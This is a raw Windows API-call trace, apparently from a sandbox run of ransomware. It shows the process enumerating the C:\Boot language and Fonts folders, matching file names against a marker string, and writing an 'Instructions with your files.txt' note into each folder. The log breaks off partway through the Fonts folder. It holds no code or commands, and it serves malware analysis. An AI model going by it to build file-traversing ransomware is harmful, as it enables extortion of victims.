[0111.730] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\Instructions with your files.txt") returned 50
[0111.731] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\Instructions with your files.txt" (normalized: "c:\\boot\\el-gr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.733] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.733] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.733] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.733] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.734] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.734] CloseHandle (hObject=0x108) returned 1
[0111.734] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.735] GetProcessHeap () returned 0x810000
[0111.735] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.735] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cdd9a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cdd9a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0111.735] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US") returned 17
[0111.735] GetProcessHeap () returned 0x810000
[0111.736] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.736] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\*") returned 19
[0111.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cdd9a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cdd9a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.748] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\.") returned 19
[0111.748] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cdd9a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cdd9a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.748] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\..") returned 20
[0111.748] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.748] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui") returned 33
[0111.748] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.749] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd41480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cd41480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cdffb60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.749] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\Instructions with your files.txt") returned 50
[0111.749] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.749] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
[0111.749] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui") returned 33
[0111.749] StrStrIW (lpFirst="memtest.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.749] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
[0111.749] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\Instructions with your files.txt") returned 50
[0111.749] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\Instructions with your files.txt" (normalized: "c:\\boot\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.750] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.751] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.751] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.751] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.751] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.751] CloseHandle (hObject=0x108) returned 1
[0111.752] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.752] GetProcessHeap () returned 0x810000
[0111.752] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.752] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7ce4be20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce4be20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
[0111.752] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES") returned 17
[0111.752] GetProcessHeap () returned 0x810000
[0111.752] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.752] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\*") returned 19
[0111.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7ce4be20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce4be20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.754] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\.") returned 19
[0111.754] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7ce4be20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce4be20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.754] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\..") returned 20
[0111.754] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.754] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 33
[0111.754] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.754] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce4be20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7ce4be20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce71f80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.754] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\Instructions with your files.txt") returned 50
[0111.754] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.755] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce4be20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7ce4be20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce71f80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.755] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\Instructions with your files.txt") returned 50
[0111.755] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\Instructions with your files.txt" (normalized: "c:\\boot\\es-es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.783] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.784] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.784] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.784] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.784] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.785] CloseHandle (hObject=0x108) returned 1
[0111.785] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.785] GetProcessHeap () returned 0x810000
[0111.785] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.785] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7ce71f80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce71f80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
[0111.785] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI") returned 17
[0111.785] GetProcessHeap () returned 0x810000
[0111.785] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.785] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\*") returned 19
[0111.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7ce71f80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce71f80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.785] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\.") returned 19
[0111.785] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7ce71f80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce71f80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.785] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\..") returned 20
[0111.785] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.785] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 33
[0111.785] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.785] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce71f80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7ce71f80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce71f80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.785] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\Instructions with your files.txt") returned 50
[0111.785] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.786] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce71f80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7ce71f80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce71f80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.786] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\Instructions with your files.txt") returned 50
[0111.786] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\Instructions with your files.txt" (normalized: "c:\\boot\\fi-fi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.786] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.787] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.787] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.787] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.787] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.787] CloseHandle (hObject=0x108) returned 1
[0111.787] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.787] GetProcessHeap () returned 0x810000
[0111.787] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.787] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7ce980e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce980e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
[0111.787] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts") returned 17
[0111.787] GetProcessHeap () returned 0x810000
[0111.787] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.787] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\*") returned 19
[0111.787] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7ce980e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce980e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.799] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\.") returned 19
[0111.800] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7ce980e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce980e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.800] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\..") returned 20
[0111.800] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
